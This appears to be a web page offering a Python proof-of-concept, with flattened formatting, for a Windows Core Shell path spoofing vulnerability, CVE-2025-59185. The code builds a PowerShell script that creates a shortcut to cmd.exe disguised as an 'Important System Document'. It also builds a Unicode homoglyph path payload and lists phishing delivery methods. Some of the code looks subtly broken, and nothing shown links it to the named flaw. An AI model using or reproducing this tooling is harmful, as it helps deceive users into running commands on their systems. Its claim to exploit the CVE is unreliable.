CVE-2025-59185：Windows Core Shell文件路径欺骗漏洞

# CVE-2025-59185 - Windows Core Shell Path Spoofing PoC # This PoC demonstrates the concept of exploiting the path validation # weakness in Windows Core Shell to perform spoofing attacks. import os import subprocess def create_malicious_lnk(target_path, display_path): """ Create a malicious Windows shortcut (.lnk) file that exploits the path spoofing vulnerability in Windows Core Shell. Args: target_path: The actual malicious path to execute display_path: The spoofed path to display to the user """ # PowerShell script to create a shortcut with spoofed path ps_script = f''' $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("C:\\Temp\\malicious.lnk") $Shortcut.TargetPath = "{target_path}" $Shortcut.WorkingDirectory = "{display_path}" $Shortcut.WindowStyle = 1 $Shortcut.IconLocation = "%SystemRoot%\\System32\\shell32.dll,3" $Shortcut.Description = "Important System Document" $Shortcut.Save() ''' return ps_script def create_path_spoofing_payload(): """ Generate a payload that exploits Unicode homoglyph characters to create visually identical but functionally different paths. """ # Example: Using Cyrillic 'а' (U+0430) instead of Latin 'a' legitimate_path = "C:\\Users\\Admin\\Documents\\report.pdf" spoofed_path = "C:\\Users\\\\u0430dmin\\Documents\\report.pdf" payload = { "legitimate_display": legitimate_path, "actual_target": spoofed_path, "technique": "Unicode Homoglyph Substitution", "impact": "User believes they are accessing legitimate file" } return payload def network_delivery_simulation(): """ Simulate network-based delivery of the malicious payload. In a real scenario, this would be delivered via: - Phishing emails with attachments - Malicious web pages - Instant messaging """ delivery_methods = [ "Email attachment (LNK file)", "Downloaded from compromised website", "Shared via instant messaging", "Embedded in Office document" ] return delivery_methods # Main execution if __name__ == "__main__": print("CVE-2025-59185 PoC - Windows Core Shell Path Spoofing") print("=" * 60) # Step 1: Create the malicious payload payload = create_path_spoofing_payload() print(f"\n[+] Payload created:") print(f" Display path: {payload['legitimate_display']}") print(f" Actual target: {payload['actual_target']}") # Step 2: Generate LNK creation script lnk_script = create_malicious_lnk( "C:\\Windows\\System32\\cmd.exe", "C:\\Users\\Admin\\Documents" ) print(f"\n[+] LNK creation script generated") # Step 3: Show delivery methods methods = network_delivery_simulation() print(f"\n[+] Possible delivery methods:") for m in methods: print(f" - {m}") print("\n[!] Note: This is a conceptual PoC for educational purposes.") print("[!] Actual exploitation requires delivery to a victim system.")